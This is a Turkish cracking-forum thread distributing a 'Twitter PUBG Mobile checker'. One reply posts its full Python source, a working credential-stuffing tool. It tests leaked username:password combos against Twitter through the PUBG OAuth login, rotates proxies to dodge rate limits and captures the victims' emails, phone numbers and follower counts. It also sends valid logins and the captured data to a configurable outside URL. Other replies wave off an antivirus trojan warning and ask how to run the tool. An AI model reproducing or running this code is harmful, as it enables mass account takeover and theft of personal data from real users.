Tools TWİTTER PUBG MOBİLE Checker decomp by crackermain.net

Use only when you publish Checkers

forexample

forexample

Reverser
67
Rep
8,022
Likes
Reverser
User ID:
522
Joined: Jun 20, 2024
Messages: 298
Point: 10,580
1750360730611.png

isteğe bağlı config.json oluşturabilirsini
JSON:
{
  "max_proxy_use": 10,
  "post_url": "https://your-api.com/hit"
}

ÖZELLİKLERİ​
Proxy başına sınırlı kullanım​
Detaylı capture​
Threading (aynı anda kontrol)
hit/fail/2fa/unknown/error logları
Hitlerde takipçi, ülke, mail vs.​
🌐 Proxy desteği​
Rate limit koruması (1.5 sn)​

DOWLOAD LİNK
Content Locked
To view the content, you need to Sign In or Register.


NOT: HİÇBİR ŞEKİLDE TOOL BENİM DEĞİLDİR ÇALIŞIYOR İYİ KULLANIŞLAR​
 
Please note, if you want to make a deal with this user, that it is blocked.
View attachment 2004

isteğe bağlı config.json oluşturabilirsini
JSON:
{
  "max_proxy_use": 10,
  "post_url": "https://your-api.com/hit"
}

ÖZELLİKLERİ​
Proxy başına sınırlı kullanım​
Detaylı capture​
Threading (aynı anda kontrol)
hit/fail/2fa/unknown/error logları
Hitlerde takipçi, ülke, mail vs.​
🌐 Proxy desteği​
Rate limit koruması (1.5 sn)​


DOWLOAD LİNK
*** Hidden text: cannot be quoted. ***



NOT: HİÇBİR ŞEKİLDE TOOL BENİM DEĞİLDİR ÇALIŞIYOR İYİ KULLANIŞLAR​
cokıııı
 
Please note, if you want to make a deal with this user, that it is blocked.
View attachment 2004

isteğe bağlı config.json oluşturabilirsini
JSON:
{
  "max_proxy_use": 10,
  "post_url": "https://your-api.com/hit"
}

ÖZELLİKLERİ​
Proxy başına sınırlı kullanım​
Detaylı capture​
Threading (aynı anda kontrol)
hit/fail/2fa/unknown/error logları
Hitlerde takipçi, ülke, mail vs.​
🌐 Proxy desteği​
Rate limit koruması (1.5 sn)​


DOWLOAD LİNK
*** Hidden text: cannot be quoted. ***



NOT: HİÇBİR ŞEKİLDE TOOL BENİM DEĞİLDİR ÇALIŞIYOR İYİ KULLANIŞLAR​
reis trojen diyor virustotel
 
Python:
import requests, threading, time, os, random, json
from queue import Queue

combo_file = "combo.txt"
proxy_file = "proxy.txt"
config_file = "config.json"
threads_count = 10

lock = threading.Lock()
combo_queue = Queue()
proxy_list = []
proxy_usage = {}
config = {
    "max_proxy_use": 10,
    "post_url": None
}

def load_config():
    global config
    if os.path.exists(config_file):
        with open(config_file, "r", encoding="utf-8") as f:
            config.update(json.load(f))

def load_combos():
    with open(combo_file, "r", encoding="utf-8") as f:
        for line in f:
            if ":" in line:
                combo_queue.put(line.strip())

def load_proxies():
    global proxy_list
    if os.path.exists(proxy_file):
        with open(proxy_file, "r", encoding="utf-8") as f:
            proxy_list = [line.strip() for line in f if line.strip()]
    else:
        proxy_list = [None]

def get_proxy():
    global proxy_usage
    while True:
        if not proxy_list:
            return None
        proxy = random.choice(proxy_list)
        usage = proxy_usage.get(proxy, 0)
        if usage < config["max_proxy_use"]:
            proxy_usage[proxy] = usage + 1
            return proxy

def get_between(text, start, end):
    try:
        return text.split(start)[1].split(end)[0]
    except:
        return ""

def log_result(tag, text):
    with lock:
        with open(f"{tag.lower()}.txt", "a", encoding="utf-8") as f:
            f.write(text + "\n")

def post_hit(data):
    try:
        if config["post_url"]:
            headers = {"Content-Type": "application/json"}
            requests.post(config["post_url"], json=data, headers=headers, timeout=5)
    except:
        pass

def capture_profile(session, csrf_token, userid):
    headers = {
        "Authorization": "Bearer AAAAAAAAAAAAAAAAAAAAANRILgAAAAAAnNwIzUejRCOuH5E6I8xnZz4puTs%3D1Zv7ttfk8LF81IUq16cHjhLTvJu4FA33AGWWjCpTnA",
        "X-Csrf-Token": csrf_token,
    }

    capture = {}

    try:
        r = session.get("https://twitter.com/i/api/1.1/users/email_phone_info.json", headers=headers, timeout=10)
        data = r.json()
        capture["email"] = data.get("email", "")
        capture["email_verified"] = str(data.get("email_verified", ""))
        capture["phone"] = data.get("phone_number", "")
        capture["phone_verified"] = str(data.get("phone_number_verified", ""))

        r = session.get(f"https://twitter.com/i/api/1.1/users/show.json?user_id={userid}", headers=headers, timeout=10)
        userinfo = r.json()
        capture["followers"] = userinfo.get("followers_count", "N/A")
        capture["follows"] = userinfo.get("friends_count", "N/A")
        capture["verified"] = userinfo.get("verified", "N/A")
        capture["created_at"] = userinfo.get("created_at", "")
    except:
        pass

    return capture

def checker():
    while not combo_queue.empty():
        try:
            combo = combo_queue.get_nowait()
        except:
            break

        username, password = combo.split(":", 1)
        proxy = get_proxy()
        session = requests.Session()

        if proxy:
            session.proxies = {"http": proxy, "https": proxy}

        try:
            token_headers = {
                "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_4_1 like Mac OS X)",
                "Accept": "application/json, text/plain, */*",
                "Origin": "https://cdn.itopsdk.com",
                "Referer": "https://cdn.itopsdk.com/"
            }

            r1 = session.get("https://sgp-jsproxy.igamecj.com/jsproxy?action=token&call_back=https://cdn.itopsdk.com/v1/na-igame/jssdk/twitterloginSuccess.html?gameid=1320&iGameId=1320", headers=token_headers, timeout=10)
            tok = r1.json().get("oauth_token")

            r2 = session.get(f"https://api.twitter.com/oauth/authorize?oauth_token={tok}", timeout=10)
            tok2 = get_between(r2.text, 'name="authenticity_token" type="hidden" value="', '"')
            redir = get_between(r2.text, 'name="redirect_after_login" type="hidden" value="', '"')
            tok3 = get_between(r2.text, 'value="https://api.twitter.com/oauth/authorize?oauth_token=', '">')

            login_data = {
                "authenticity_token": tok2,
                "redirect_after_login": redir,
                "oauth_token": tok3,
                "session[username_or_email]": username,
                "session[password]": password,
                "ui_metrics": "{}"
            }

            login_headers = {
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
                "Content-Type": "application/x-www-form-urlencoded"
            }

            r3 = session.post("https://api.twitter.com/oauth/authorize", data=login_data, headers=login_headers, allow_redirects=False, timeout=10)
            location = r3.headers.get("Location", "")
            cookies = session.cookies.get_dict()

            if "login/error" in location:
                print(f"[FAIL] {combo}")
                log_result("FAIL", combo)

            elif "account/login_challenge" in location:
                print(f"[2FA] {combo}")
                log_result("2FA", combo)

            elif "twitterloginSuccess.html" in location:
                csrf = cookies.get("ct0", "")
                settings = session.get("https://twitter.com/settings", headers={"User-Agent": login_headers["User-Agent"]}, timeout=10)
                userid = get_between(settings.text, '"user_id":"', '"')
                capture = capture_profile(session, csrf, userid)
                hit_line = f"[HIT] {combo} | Followers: {capture.get('followers')} | Mail: {capture.get('email')} | Phone: {capture.get('phone')}"
                print(hit_line)
                log_result("HIT", hit_line)
                post_hit({
                    "username": username,
                    "password": password,
                    "capture": capture,
                    "proxy": proxy
                })

            else:
                print(f"[UNKNOWN] {combo} → {location}")
                log_result("UNKNOWN", combo)

        except Exception as e:
            print(f"[ERROR] {combo} → {str(e)}")
            log_result("ERROR", f"{combo} → {str(e)}")

def main():
    if not os.path.exists(combo_file):
        print("[!] combo.txt not found.")
        return

    load_config()
    load_combos()
    load_proxies()

    print(f"[INFO] Combos: {combo_queue.qsize()}")
    print(f"[INFO] Proxies: {len(proxy_list)}")
    print(f"[INFO] Threads: {threads_count}")
    print(f"[INFO] Max Proxy Use: {config['max_proxy_use']}")

    threads = []
    for _ in range(threads_count):
        t = threading.Thread(target=checker)
        threads.append(t)
        t.start()

    for t in threads:
        t.join()

    print("\n[✓] Done.")

if __name__ == "__main__":
    main()
kaynak kodu
 
View attachment 2004

isteğe bağlı config.json oluşturabilirsini
JSON:
{
  "max_proxy_use": 10,
  "post_url": "https://your-api.com/hit"
}

ÖZELLİKLERİ​
Proxy başına sınırlı kullanım​
Detaylı capture​
Threading (aynı anda kontrol)
hit/fail/2fa/unknown/error logları
Hitlerde takipçi, ülke, mail vs.​
🌐 Proxy desteği​
Rate limit koruması (1.5 sn)​


DOWLOAD LİNK
*** Hidden text: cannot be quoted. ***



NOT: HİÇBİR ŞEKİLDE TOOL BENİM DEĞİLDİR ÇALIŞIYOR İYİ KULLANIŞLAR​
Millet bunu parayla satarken adam konu olarak atıyor helal olsun
 
reis trojen diyor virustotel
Checker 3.Parti Yani Bir Geliştirici tarafından Yapıldı İçin Ve Kullanıldığı Toollar Dolayısıyla Trojen Vardır Ve tamamen Açık Kaynak Kodludur Zaten Biraz Kodlama Bilginiz Varsa İçinde Her hangi bir Malware Rat keyloger gibi virüslerin Olmadığını Görebilirsiniz Halk Arasın da Trojen Zararlı işde oo Sakın İndirme Gibi Bir Doğru bilinen yanlış var İyi Forumlar
 
Please note, if you want to make a deal with this user, that it is blocked.
Checker 3.Parti Yani Bir Geliştirici tarafından Yapıldı İçin Ve Kullanıldığı Toollar Dolayısıyla Trojen Vardır Ve tamamen Açık Kaynak Kodludur Zaten Biraz Kodlama Bilginiz Varsa İçinde Her hangi bir Malware Rat keyloger gibi virüslerin Olmadığını Görebilirsiniz Halk Arasın da Trojen Zararlı işde oo Sakın İndirme Gibi Bir Doğru bilinen yanlış var İyi Forumlar
Bilgilendirme için teşekkürler hocam bu günde yeni bir şey öğrendik çok şükür Allah razı olsun sizden iyi forumlar
 
View attachment 2004

isteğe bağlı config.json oluşturabilirsini
JSON:
{
  "max_proxy_use": 10,
  "post_url": "https://your-api.com/hit"
}

ÖZELLİKLERİ​
Proxy başına sınırlı kullanım​
Detaylı capture​
Threading (aynı anda kontrol)
hit/fail/2fa/unknown/error logları
Hitlerde takipçi, ülke, mail vs.​
🌐 Proxy desteği​
Rate limit koruması (1.5 sn)​


DOWLOAD LİNK
*** Hidden text: cannot be quoted. ***



NOT: HİÇBİR ŞEKİLDE TOOL BENİM DEĞİLDİR ÇALIŞIYOR İYİ KULLANIŞLAR​
Fotoğaftada olduğu gibi 10 tane tarayıp duruyor
 
View attachment 2004

isteğe bağlı config.json oluşturabilirsini
JSON:
{
  "max_proxy_use": 10,
  "post_url": "https://your-api.com/hit"
}

ÖZELLİKLERİ​
Proxy başına sınırlı kullanım​
Detaylı capture​
Threading (aynı anda kontrol)
hit/fail/2fa/unknown/error logları
Hitlerde takipçi, ülke, mail vs.​
🌐 Proxy desteği​
Rate limit koruması (1.5 sn)​


DOWLOAD LİNK
*** Hidden text: cannot be quoted. ***



NOT: HİÇBİR ŞEKİLDE TOOL BENİM DEĞİLDİR ÇALIŞIYOR İYİ KULLANIŞLAR​
kral nasıl kullanacağımızı küçük şekilde söyler misin comboyu nereye atıcaz nerden hit görücez vs
 
Tüm sayfalar yüklendi.
Home Register
Top